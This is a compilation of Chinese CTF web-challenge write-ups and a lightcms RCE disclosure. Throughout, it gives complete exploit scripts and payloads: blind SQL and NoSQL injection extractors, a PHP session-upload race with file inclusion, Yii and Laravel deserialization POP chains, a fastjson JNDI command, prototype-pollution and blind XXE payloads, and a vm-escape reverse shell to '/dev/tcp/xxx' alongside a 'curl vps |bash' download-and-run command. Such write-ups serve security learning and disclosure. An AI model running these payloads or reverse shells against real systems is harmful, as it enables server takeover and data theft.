    index = resp.find("Disabled Functions: ") + len("Disabled Functions: ")
    resp = resp[index:]
    resp = resp[:resp.find("\n")].strip()
    if not resp.startswith('updatexml'):
        return True
    else:
        return False


list = '''ABS()
ACOS()
ADDDATE()
ADDTIME()
AES_DECRYPT()
AES_ENCRYPT()
AND
ANY_VALUE()
...'''.split("\n") # 此处省略，就是mysql文档上的function列表

for function in list:
    if test(function):
        print function

发现很多都在列表里，所以把没在列表里的函数打出来：

AND
BETWEEN
AND
BINARY
CASE
CONCAT
DIV
IS
LAST_DAY
LIKE
LOCALTIMESTAMP
LOCALTIMESTAMP
MATCH
MEMBER
NOT
OR
REGEXP
RLIKE
SHA
SOUNDS LIKE
ST_AsWKB
ST_AsWKT
ST_GeometryCollectionFromText
ST_GeomCollFromTxt()
ST_GeometryCollectionFromWKB()
ST_GeometryFromText()
ST_GeometryFromWKB()
ST_LineStringFromText()
ST_LineStringFromWKB()
ST_FromText()
ST_MultiLineStringFromWKB()
ST_MultiPointFromText()
ST_MultiPointFromWKB()
ST_MultiPolygonFromText()
ST_MultiPolygonFromWKB()
ST_NumInteriorRings()
ST_PolygonFromText()
ST_PolygonFromWKB()
UNHEX()
UPPER()
USER()
UTC_DATE()
UTC_TIME()
UTC_TIMESTAMP()
UUID()
UUID_SHORT()
UUID_TO_BIN()
VALIDATE_PASSWORD_STRENGTH()
VALUES()
VAR_POP()
VAR_SAMP()
VARIANCE()
VERSION()
WAIT_FOR_EXECUTED_GTID_SET()
WAIT_UNTIL_SQL_THREAD_AFTER_GTIDS()
WEEK()
WEEKDAY()
WEEKOFYEAR()
WEIGHT_STRING()
XOR
YEAR()
YEARWEEK()

这些都是随意使用没有次数限制的，发现了一些ST开头的没被ban，尝试了几下不行。赛后问0ops师傅的做法，就是利用ST_LineStringFromText这个函数，我的姿势不对…

只有传入一些特定参数才能触发。

Nu1L的wupco师傅用的是这个exp：set @@sql_mode:=(select concat(0x22,v) from s where k='xxx');，很巧妙。

与出题人交流，出题人表示预期就是用46种不同的方式来报错，这两个解法都属于非预期。那个mysql function list 原意是所有的mysql函数，但是不全导致了 0ops 师傅的非预期。

预期解是看mysql源码，理解报错原因，反向定位批量找。编译一个debug版本的mysql，然后用vscode +gdb动态调试… 具体看官方wp吧。

其他题目有时间再复现吧… verysafe听说类似2020巅峰极客初赛一道题，利用pearcmd.php，再结合 caddy 一个目录穿越。

2021 ALLES!CTF Amazing Crypto WAF

2021-09-05T05:04:43.000Z

这周末本来在赶报告ddl，写报告写累了准备去看看题休息一下，没想到一道题看了六七个小时卡住，浪费了很多时间.. 记录下这道题。

Amazing Crypto WAF

题目分析

给了docker，浏览一遍，两个container，开放服务的container是个代理，转发请求到内部container。proxy代码如下：

@app.route('/', methods=['POST', 'GET'])
def proxy(path):

    # Web Application Firewall
    try:
        waf_param(request.args)
        waf_param(request.form)
    except:
        return 'error'

    # contact backend server
    proxy_request = None
    query = request.query_string.decode()
    headers = {'Cookie': request.headers.get('Cookie', None) }
    if request.method=='GET':
        proxy_request = requests.get(f'{BACKEND_URL}{path}?{query}',
                            headers=headers,
                            allow_redirects=False)
    elif request.method=='POST':
        headers['Content-type'] = request.content_type
        proxy_request = requests.post(f'{BACKEND_URL}{path}?{query}', 
                            data=encrypt_params(request.form),
                            headers=headers,
                            allow_redirects=False)
    
    if not proxy_request:
        return 'error'

    
    response_data = decrypt_data(proxy_request.content)
    injected_data = inject_ad(response_data)
    resp = make_response(injected_data)
    resp.status = proxy_request.status_code
    if proxy_request.headers.get('Location', None):
        resp.headers['Location'] = proxy_request.headers.get('Location')
    if proxy_request.headers.get('Set-Cookie', None):
        resp.headers['Set-Cookie'] = proxy_request.headers.get('Set-Cookie')
    if proxy_request.headers.get('Content-Type', None):
        resp.content_type = proxy_request.headers.get('Content-Type')

    return resp

这里有个waf，过滤所有的get参数和post参数，waf 是这样的：

这个代理还有一个加密功能，会把post的部分参数值在请求前使用AES加密：

可以看到一些参数是不加密。加密结果是ENCRYPT:xxx格式，在得到内层container的响应后，这个代理会正则匹配ENCRYPT:xxx格式的数据，进行解密替换密文再返回给我们。

而内层container，sqlite 数据库，有登陆/注册、增删notes、查看notes功能，具体代码如下：

@app.route('/notes')
@login_required
def notes():
    order = request.args.get('order', 'desc')
    notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']])
    return render_template('notes.html', user=g.user, notes=notes)


@app.route('/delete_note', methods=['POST'])
@login_required
def delete_note():
    user = g.user['uuid']
    note_uuid = request.form['uuid']
    commit_db('delete from notes where uuid = ? and user = ?', [note_uuid, user])
    return redirect(f'/notes?deleted={note_uuid}')

@app.route('/add_note', methods=['POST'])
@login_required
def add_note():
    new_note_uuid = uuid.uuid4().hex
    user = g.user['uuid']
    title = request.form['title']
    body = request.form['body']

    commit_db('insert into notes (uuid, user, title, body) values (?, ?, ?, ?)', 
        [new_note_uuid, user, title, body])
    return redirect('/notes')

@app.route('/registerlogin', methods=['POST'])
def registerlogin():
    username = request.form['username']
    password = request.form['password']
    pwhash = hashlib.sha256(password.encode('utf-8')).hexdigest()
    user = query_db('select * from users where username = ? and password = ?', 
                    [username, pwhash], one=True)

    if not user:
        # new user. let's create it in the database
        new_user_uuid = uuid.uuid4().hex
        commit_db('insert into users (uuid, username, password) values (?, ?, ?)', 
                [new_user_uuid, username, pwhash])
        user= query_db('select * from users where uuid = ?', [new_user_uuid], one=True)
    
    # calculate signature for cookie
    key = user['uuid']
    sig = signature(user['uuid'])
    response = redirect('/notes')
    response.set_cookie('session', f'{key}.{sig}')
    return response

初始化题目的时候会创建一个flag用户，密码未知，然后插入一条body为flag的notes：

不过经过前面的分析，body和title字段进入数据库的是加密过的密文。

各种尝试

分析完题目逻辑后，审计源码。很明显后端/notes处order是唯一的注入点，order by 后面可以直接用 asc,(case when 1 then randomblob(5000000000000) else 1 end) ，观察是否返回error来进行布尔盲注。

于是开始注入，因为过滤了select，起初我的payload是这样的：

1	desc,(case when (substr(body,1,1)=char(100)) then randomblob(5000000000000) else 1 end)

但是发现注不出flag的密文，只能注出我自己的notes… 仔细看下sql语句：

1	query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']])

order by后面受到 where 的限制，所以我们只能注出自己用户的内容。

这里卡了很久，尝试绕过waf，不过waf有个递归的urldecode，感觉绕不过去。翻了n遍文档寻找如何不用select的情况下构造一个新的查询逻辑，但是无果，感觉这条路是无解的。

于是我想到了读文件，要是能读文件直接读取 /tmp/secret，再把 sqlite.db 给拖下来，可以直接伪造 flag 用户。

本地起个环境，试试：

看起来可以！注入试一下，好像8太行，看下log：

没事了，python sqlite3 看起来不支持 readfile…

柳暗花明

经队里师傅的尝试，竟然能绕过WAF使用select，看看怎么利用的：

1	/notes%3Forder=xxx

回过头看下源码：

waf 是通过 request.args取的，而把?进行urlencode，后面的数据都被当成了path，自然可以通过waf。而请求后端的时候，path会自动进行一次urldecode拼接到url后面，%3F变成了?，后端就可以正常获取到order参数了。不过注意后面还多一个?，在我们注入的时候payload后面要加个注释，把这个问号注释掉，否则会报错。

是我菜了… 学到了。

绕过waf ，那就好办了，字符串也不需要用CHAR拼接了，构造payload：

1	desc,(case when (select substr(body,%s,1)="%s" from notes where user!={userid}) then randomblob(5000000000000) else 1 end)--

注入出flag的密文，需要我们进行解密。很明显可以看到删除note处有一处很可疑：

/notes路由根本就没有处理 deleted 参数的逻辑，并且这里的note_uuid是我们可控的。redirect函数：

可以看到返回的内容里包含location，所以/delete_note路由的uuid参数就是一个用于解密的功能，把密文通过uuid参数发过去就可以了。

完整exp：

import requests
import string

s = requests.session()
# url = "https://7b0000006f329cb3e773932f-amazing-crypto-waf.challenge.master.allesctf.net:31337/"
url = "http://127.0.0.1:5000"
# proxies = {'http': 'http://127.0.0.1:8080'}
proxies = {}


def register():
    paramsPost = {"password": 'gmlsec', "username": 'gmlsec'}
    resp = s.post(url + '/registerlogin', data=paramsPost, proxies=proxies)
    if 'gmlsec' in resp.content:
        return True
    else:
        return False


def add_note():
    paramsPost = {"title": "gml", "body": "gml"}
    response = s.post(url + "/add_note", data=paramsPost, proxies=proxies)


def get_notes(order):
    response = s.get(url + "/notes%3Forder=" + order, proxies=proxies)
    if "error" in response.content:
        return True
    else:
        return False


def get_encrypted_flag():
    userid = s.cookies.get_dict()['session'].split('.')[0]  # my user's uuid
    data = ""
    tem = 'desc,(case when (select substr(body,%s,1)="%s" from notes where user!="{userid}") then randomblob(5000000000000) else 1 end)--'.format(
        userid=userid)
    for i in range(1, 1000):
        flag = False
        for c in string.ascii_letters + string.digits + "/=:":
            payload = tem % (i,c)
            if get_notes(payload):
                data += c
                flag = True
                print data
                break
        if not flag:
            print "end!"
            break
    return data


def dec(cipher):
    paramsPost = {"uuid": cipher}
    response = s.post(url + "/delete_note", data=paramsPost, allow_redirects=False)
    print response.content


if __name__ == '__main__':
    register()
    data = get_encrypted_flag()
    dec(data)

远程环境交互非常慢（还是https），本地跑是完全没有问题的。

2021 祥云杯wp

2021-08-22T12:10:30.000Z

2021 祥云杯初赛 Web 题解。

ezyii

参考https://xz.aliyun.com/t/9948#toc-6 第四条链子。


namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo urlencode(base64_encode(serialize(new RunProcess())));
}

namespace Faker{
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){system('cat /flag.txt');};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

安全检测

一个ssrf，经过测试是 file_get_contents.

扫目录，/admin是403，ssrf去请求http://127.0.0.1/admin。

里面一个php，文件包含过滤了很多东西，考虑session竞争上传+文件包含。

import sys
import string
import requests
from base64 import b64encode
from random import sample, randint
from multiprocessing.dummy import Pool as ThreadPool
import json

url = "http://eci-2zefzyj8kapji8067alv.cloudeci1.ichunqiu.com/"
session = requests.Session()

# proxies = {'http': 'http://127.0.0.1:8080'}
proxies = {}

rawBody = json.dumps({'username': 'gmla', 'password': 'gml'})
headers = {"Origin": url, "Accept": "*/*",
           "X-Requested-With": "XMLHttpRequest",
           "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
           "Referer": "http://eci-2zef0qsx7zblq9rh24yv.cloudeci1.ichunqiu.com//login.php", "Connection": "close",
           "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9",
           "Content-Type": "application/json; charset=UTF-8"}
response = session.post(url + '/login.php', data=rawBody, headers=headers, proxies=proxies)


def runner1(i):
    proxies = {}
    # proxies = {'http': 'http://127.0.0.1:8080'}
    paramsPost = {"PHP_SESSION_UPLOAD_PROGRESS": 'gml666'}
    paramsMultipart = [('f', ('f', 'a' * 40000, 'application/octet-stream'))]
    cookies = {"PHPSESSID": "444"}
    response = requests.post(url, data=paramsPost, files=paramsMultipart, cookies=cookies, proxies=proxies)


def runner2(i):
    filename = '/tmp/sess_444'
    while 1:
        session.post(url + "/check2.php", data={'url1': 'http://127.0.0.1:80/admin/include123.php?u=' + filename},
                     proxies=proxies)
        response = session.get(url + '/preview.php', proxies={'http': 'http://127.0.0.1:8080'})
        if "gml666" in response.content:
            print "success!"
            print response.content


if sys.argv[1] == '1':
    runner = runner1
else:
    runner = runner2

pool = ThreadPool(32)
result = pool.map_async(runner, range(1000000)).get(0xffff)

层层穿透

第一层参考https://www.hacking8.com/bug-product/Apache-Flink/Apache-Flink-Dashboard-%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.html，直接上传个msf的马就有meterpreter了。

10.10.1.11:8080有个web服务，题目给了源码，应该就是这个服务。

fastjson 1.2.24 反序列化，过滤了JdbcRowSetImpl和TemplatesImpl，以及\x,\u。尝试使用别的类。

最终参考https://www.mi1k7ea.com/2021/02/08/Fastjson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%941-2-48-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/，使用org.apache.shiro.realm.jndi.JndiRealmFactory。

payload长度需要大于等于20000，加一些没用的字符就行了。使用nps搭建代理，请求：

启动ldap：

1	java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://vps:5555/#Exploit" 9999

反弹到shell：

crawler_z

token可以生成之后先不使用（不verfiy），生成token后先更新url为我们的url，再verfiy，这样可以让爬虫来请求我们的网页。

Vps上web目录创建一个目录名为df101d5f2909f5c05a200e0e2e6b053a.oss-cn-beijing.ichunqiu.com，就可以让服务器来请求到我们指定的内容。url为 http://vps/df101d5f2909f5c05a200e0e2e6b053a.oss-cn-beijing.ichunqiu.com/exp.html。

zombie解析js时，注意到 require了vm：

用vm逃逸的payload可以rce。

vps的html为：

<html>
<script>
const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/xxx/1235 0>&1"');
script>
html>

请求的exp：

import requests

url = "http://eci-2zedkd2t5zhfm6oq17bu.cloudeci1.ichunqiu.com:8888"
session = requests.Session()
# proxies = {'http': 'http://127.0.0.1:8080'}
proxies = {}


def login():
    paramsPost = {"password": "gml", "username": "gml"}
    headers = {"Origin": "http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
               "Referer": "http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888/signin", "Connection": "close",
               "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post(url + "/signin", data=paramsPost,
                            headers=headers, proxies=proxies)


def get_token():
    paramsPost = {"bucket": "https://4653639b575bee89f70fbb0f1b6b721f.oss-cn-beijing.ichunqiu.com/",
                  "affiliation": "22",
                  "age": "22"}
    headers = {"Origin": "http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
               "Referer": "http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888/user/profile",
               "Connection": "close",
               "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post(url + "/user/profile", data=paramsPost, headers=headers, allow_redirects=False,
                            proxies=proxies)
    content = response.content
    index = content.find("token=") + 6
    return content[index:index + 64]


def req_own_url(own_url, token):
    paramsPost = {"bucket": own_url,
                  "affiliation": "22",
                  "age": "22"}
    headers = {"Origin": "http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
               "Referer": "http://eci-2zefjnsex5f9gb25l314.cloudeci1.ichunqiu.com:8888/user/profile",
               "Connection": "close",
               "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9",
               "Content-Type": "application/x-www-form-urlencoded"}
    response = session.post(url + "/user/profile", data=paramsPost, headers=headers, allow_redirects=False,
                            proxies=proxies)
    session.get(url + "/user/verify?token=" + token, proxies=proxies)
    session.get(url + "/user/bucket")


login()
token = get_token()
req_own_url("http://vps/df101d5f2909f5c05a200e0e2e6b053a.oss-cn-beijing.ichunqiu.com/exp.html", token)

Secrets_Of_Admin

源码里找到用户名密码：admin/e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645 可以登陆。
目标应该是通过/api/files 这个接口插入一条username=admin filename=flag 的记录，然后可以下载到flag文件。

猜测大概率利用html-pdf这个库渲染的时候来去构造请求，请求 /api/files 这个接口。但是有过滤，过滤了尖括号，斜杠这些。测试发现数组可以绕过过滤。

注意到flag字段是 unique的，所以不能插入flag：

因为后面读文件用的是path.join(__dirname , "../files/", filename) ，所以可以插入一个 ./flag 绕过。

content为：

1	<script>var xhr=new XMLHttpRequest();url='http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=be5a14a8e504a66979f6938338b0662c';xhr.open("GET",url,true);xhr.send();script>

访问http://eci-2zedk1cbvvah2lkdjevj.cloudeci1.ichunqiu.com:8888/api/files/be5a14a8e504a66979f6938338b0662c 可以下载到flag。

packagemanager

auth那里存在注入：

直接拼接，这里出题人本意应该是构造永真条件登陆，但是这里可以注入出admin的密码，应该是非预期。

payload：

1	4054f0d389481b5d2d1695267d22f9f8"\|\|this.username == "admin"&&this.password[0]=="b'

Exp:

import requests
import string

session = requests.Session()

# proxies = {'http': 'http://127.0.0.1:8080'}
proxies = {}

def req(token):
    # token = '4054f0d389481b5d2d1695267d22f9f8"||this.username == "admin"&&this.password[0]=="b'

    paramsPost = {"_csrf": "BGrMGSNa-mNAB8YJ0iXTgG9w-zioJNdJr8i0",
                  "token": token}
    headers = {"Origin": "http://47.104.108.80:8888",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
               "Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1",
               "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
               "Referer": "http://47.104.108.80:8888/auth", "Connection": "close", "Accept-Encoding": "gzip, deflate",
               "Accept-Language": "zh-CN,zh;q=0.9", "Content-Type": "application/x-www-form-urlencoded"}
    cookies = {"session": "s%3A_FtDGMZ8FKBr-aGu5R_rY30TJXsnCYYh.fg%2FRDok91jF43jkG%2BqD3weiOFQgsus3kg%2BUSm5iInzU"}
    response = requests.post("http://47.104.108.80:8888/auth", data=paramsPost, headers=headers, cookies=cookies,
                             proxies=proxies, allow_redirects=False)
    # print response.content
    if "Redirecting" in response.content:
        return True
    else:
        return False


def exp():
    ss = list(string.printable)
    ss.remove('"')
    data = ""
    tem = '4054f0d389481b5d2d1695267d22f9f8"||this.username == "admin"&&this.password[%s]=="%s'
    for i in range(100):
        flag = False
        for c in ss:
            payload = tem % (i, c)
            if req(payload):
                data += c
                print data
                flag = True
                break
        if not flag:
            print "fail!"

def test():
    print req('4054f0d389481b5d2d1695267d22f9f8"||this.username == "admin"&&this.password[0]=="b')


# test()
exp()

注入出密码是b!@#$d5dh47jyfz#098crw*w，admin登陆进去就有flag。

lightcms后台RCE漏洞挖掘

2021-05-09T16:05:33.000Z

前言

之前为了熟悉下 laravel，找了个基于 laravel 开发的 cms 审计练练手，瞄准了 lightcms。

先是挖到了一个比较简单的任意文件读取&RCE漏洞，提了issue被修复后又简单审计了一波，挖掘到了一个有意思的RCE，感觉很适合 CTF，就拿来出题了，被用做了今年红帽杯的初赛。很遗憾由于放出题目时间较晚+很多dalao去打津门杯了，这道题只有两个队伍解出。

题目环境链接：https://github.com/gml-sec/My-CTF-Challenges/tree/main/2021-Redhat-ezlight。

关于lightcms的简单介绍：

lightCMS是一个轻量级的CMS系统，也可以作为一个通用的后台管理框架使用。lightCMS集成了用户管理、权限管理、日志管理、菜单管理等后台管理框架的通用功能，同时也提供模型管理、分类管理等CMS系统中常用的功能。

github地址：https://github.com/eddy8/LightCMS

v1.3.5 任意文件读取&RCE漏洞

这个漏洞出在 app/Http/Controllers/Admin/NEditorController.php中的远程下载图片的功能：

这里简单使用了 file_get_contents来获取文件内容，并保存，所以我们可以使用file协议实现任意文件读取等ssrf操作。更危险的是这里的逻辑是取到的文件名后缀是什么，保存的就是什么后缀，所以我们可以放一个php一句话在服务器上，然后来请求，那么我们就可以getshell。

具体可见https://github.com/eddy8/LightCMS/issues/19。

v1.3.7 RCE漏洞

提了个issue后，作者也是及时进行了修复，分析下patch的操作，增加了一个 fetchImageFile 函数处理：

跟进分析 fetchImageFile：

可以看到使用了curl来获取远程资源的内容，然后使用 Image:make 模块进行解析。并且对后缀也进行了严格的过滤。同时这个 cms 大多都是数据库操作，涉及文件操作少之又少，看起来是无法直接RCE的。

laravel 框架开发我自然联想到了反序列化，并且这个cms 后台还是有图片上传功能的，能不能利用 phar 反序列化实现 RCE 呢？

POP链

正式版本Laravel 版本是 6.20.16，测试发现 5.8 版本利用 dispatch方法的RCE链在6.20.16版本可以使用。经过测试 7.x 版本也可以使用这条链。这篇文章分析到了laravel 8 的链子，不过多赘述了。

文件上传

有了 RCE 链，我们需要将 phar 文件传上去。patch 过的远程下载图片功能，使用了Intervention\Image\Facades\Image库来进行图片解析，对文件内容检查较为严格，但是本地图片上传处较为松散，使用一般的添加 GIF 文件头的方法就可以成功上传。

触发点

最后一步也就是相对困难的一步，需要找到触发phar的点，即我们可控的一个文件处理函数。其实前面提到了这个cms并没有太多文件操作。

注意到修复代码 fetchImageFile函数存在如下操作：

在获取到远程url的内容后，会调用 Intervention\Image\Facades\Image的 make方法，对图片内容进行解析。

看到这里我隐约想起之前见过 Image:make($url)这种用法，那么这里的 url 能不能有类似 file_get_content 之类的文件操作呢？

跟进，会跳到 vendor/intervention/image/src/Intervention/Image/AbstractDecoder.php中 AbstractDecoder类的 init方法，判断数据类型：

可以看到 data 不仅可以是图片的二进制数据，还可以是这些数据格式，跟进 initFromUrl方法：

非常明显的 file_get_contents，那么最后触发点的问题也解决了，我们可以在 vps 上放置一个 txt 文件，内容为 phar://./upload/xxx，然后让服务器来取这个文件，即可触发反序列化。

RCE流程

首先生成 phar 文件:



namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }

    }

    class BroadcastEvent
    {
      protected $connection;

      public function __construct($connection)
      {
        $this->connection = $connection;
      }
    }

}

namespace Illuminate\Bus{
    class Dispatcher{
        protected $queueResolver;

        public function __construct($queueResolver)
        {
          $this->queueResolver = $queueResolver;
        }

    }
}

namespace{
    $command = new Illuminate\Broadcasting\BroadcastEvent('curl vps |bash');

    $dispater = new Illuminate\Bus\Dispatcher("system");

    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispater,$command);
    $phar = new Phar('phar.phar');
    $phar -> stopBuffering();
    $phar->setStub("GIF89a".""); 
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($PendingBroadcast);
    $phar -> stopBuffering();
    rename('phar.phar','phar.jpg');

}

在后台添加文章处上传图片：

得到文件路径 upload/image/202102/AciwTtmKQ7IQN4gdeoiZ6ve4A0LSK48SGJGk38df.gif。

在 vps 上放置一个文件，内容为 phar://./upload/image/202102/AciwTtmKQ7IQN4gdeoiZ6ve4A0LSK48SGJGk38df.gif，让服务器来取这个文件：

可以反弹shell：

总结

这个漏洞虽然利用起来并不算复杂，但是 phar 触发点相对隐秘一些，不容易被发现，这个操作也是之前没有见过的（感觉很适合CTF 2333），还是挺有趣的，只可惜感觉打的人不太多。

2021 D^3CTF Web 部分wp

2021-03-08T08:43:36.000Z

周末两天几乎都在肝D^3CTF，本来队里打的人就不多，题质量还很高而且题量也不少，所以打的非常累。 Web 基本一人单搞，后来把队里逆向（全栈）大佬拉来一起搞 shellgen，浪费了不少时间。

最后成绩是第四名（果然是 Redbud-Misc 队，AK Misc），脑王yyds，这里记录下三道Web的wp。

8-bit pub

分析

先要登陆admin。

传入的username和password如果用json提交，可以传入dict。如果password是个dict，会把key名字作为列查询，构造Payload:

1	{"username":"admin","password":{"username":"admin"}}

即可登陆admin。

进入admin，可以发邮件的功能，使用了 nodemailer。前面使用了shvl 来进行赋值，猜测有原型链污染。查看版本，发现 shvl 是 2.0.2 的版本，原型链污染被修复：

但是仅仅过滤了关键字__proto__，可以使用 prototype 绕过。

原始的利用：

可以使用prototype绕过，payload：

1	a.constructor.prototype.path

接下来需要在 nodemailer 里找rce的点，搜关键字发现了存在一个命令执行的点：

存在调用：

原本是执行sendmail的，可以考虑污染 this.path，就可以rce了。追踪源码，寻找 this.path 的赋值：

Options.path 赋值，那么我们直接向 Object 里污染一个path，就可以了。

但是要使用 sendmail，在nodemailer/lib/nodemailer.js还有一处if判断：

所以还要污染一个pool为0，污染一个sendmail为1。

最后 spawn 执行命令，不支持管道符之类的，所以 /readflag > /tmp/gml 这种无法直接执行。

注意到有args，可以为命令附带参数。看看这个args怎么赋值的：

也可以进行污染，但是在执行前，加了个 -i 参数：

尝试 curl -i，wget -i 之类的，但是无法把命令执行的结果带出。

最后测试可以 bash -i -c 这样：

spawn('bash',['-i','-c','ls > /tmp/gml']);

本地测试成功执行。然后发邮件功能我们可以指定附件，把 /tmp/gml 通过邮件给发过来。

攻击

首先原型链污染，执行命令，payload：

1	{"subject":"123","text":"123","a.constructor.prototype.path":"sh","a.constructor.prototype.pool":0,"a.constructor.prototype.sendmail":1,"a.constructor.prototype.args":["-c","/readflag>/tmp/gml"]}

把flag写进/tmp/flag。再通过发邮件附件的形式，把flag给我发过来。翻阅文档发送附件的方法，payload：

1	{"to":"xxx@qq.com","subject":"123","text":"123","attachments":[{"filename":"gml.txt","path":"/tmp/gml"}]}

Real_cloud_storage

上传文件，往fn10085032.serverless.cloud.d3ctf.io发包，可以指定endpoint 与backet。

测试发现可以指定成任意域。设置指定成自己的服务器，观察发来的上传包：

Google 一下 nos-sdk-java，发现源码：https://github.com/NetEase-Object-Storage/nos-java-sdk

源码审计，因为我们只有一个upload功能，只有那几个参数，所以关注upload功能的相关源码，但没啥利用的。

尝试模仿这个包，我们自己构造向 oss 上传文件的包：

返回错误。但是可以看到返回是 xml。上传的 client 是 java，猜测这个 client 会在向 oss 上传后解析返回的 xml 。

翻阅源码，果然有相关的操作。考虑 xxe 攻击，我们控制返回的response包含 xxe 的payload，使用盲打xxe。

使用 https://requestrepo.com/，方便控制response，response的 paylaod：

1	xmlrootname [aaa SYSTEM "http://vps/ext.dtd">%aaa;%ccc;%ddd;]>

服务器上的 ext.dtd：

1	bbb SYSTEM "file:///flag">ccc "">

Shellgen

跟 misc 那道题逻辑基本差不多，就是需要 rce。

源代码里发现部分伪代码，可以看到python和php的执行都是在docker container里完成的。其中python 使用了 Mount 来挂载目录：

运行入容器指定了 read_only。

本来以为挂载目录只读，就没想用这个python写文件的思路，但是后来本地测试一下发现竟然可以写，并且可以写入外部host中，耽误了很久。赛后问了出题人，这个只是root filesystem只读，并不是所有mount都只读。

/result 处使用了 render_template，那么如果渲染的result.html文件可控，那么就可以换成正常ssti的payload，就可以rce。

因为创建目录是 token 直接 os.path.join 拼接，所以可以使用 ../穿越。需要注意 render_template 传入的模版路径如果包含 .. 就会报错。

整个攻击的逻辑有点绕：

（1）首先我们 token 传入一个随机的token: gml/def，code写什么都行，submit。这样服务器会创建 workdir/gml/def/gen.py以及templates/gml/def/result.html，记得保留下这个session的cookie。

（2）第二步，我们submit的token是../templates/gml，这样服务器会创建 workdir/../templates/gml/gen.py，以及workdir/../templates/gml/result.html（即 templates/gml/result.html）。注意这时mount的目录是 workdir/../templates/gml，即templates/gml -> /opt，那么code的内容写成向 /opt/def/result.html 写入数据，这样我们实际是向服务器的 templates/gml/def/result.html 写入了数据。

（3）最后带着第一步保留的token为gml/def 的cookie 去访问 /result，触发render_template，执行命令。

这里涉及一些detail:

（1）在第一步时，注意submit后不要带着token是gml/def的session去访问 /result 去check结果，因为 render_template 有缓存，后面即使我们更改了 result.html，也不会重新渲染了。

（2）第一步submit后，需要等一下，让服务器运行完python，把result.html写入后再进行第二部，否则如果第二步写入的比第一步的早，那么result.html会被第一步写入内容覆盖。

（3）之所以第一步的token包含了一层路径，是为了防止后面干扰。假如第一步的token是gml，那么第二步里，服务器本身就会向template/gml/result.html里写，python脚本再往里写，可能会存在干扰。但如果加了一层路径，就可以避免这个问题。

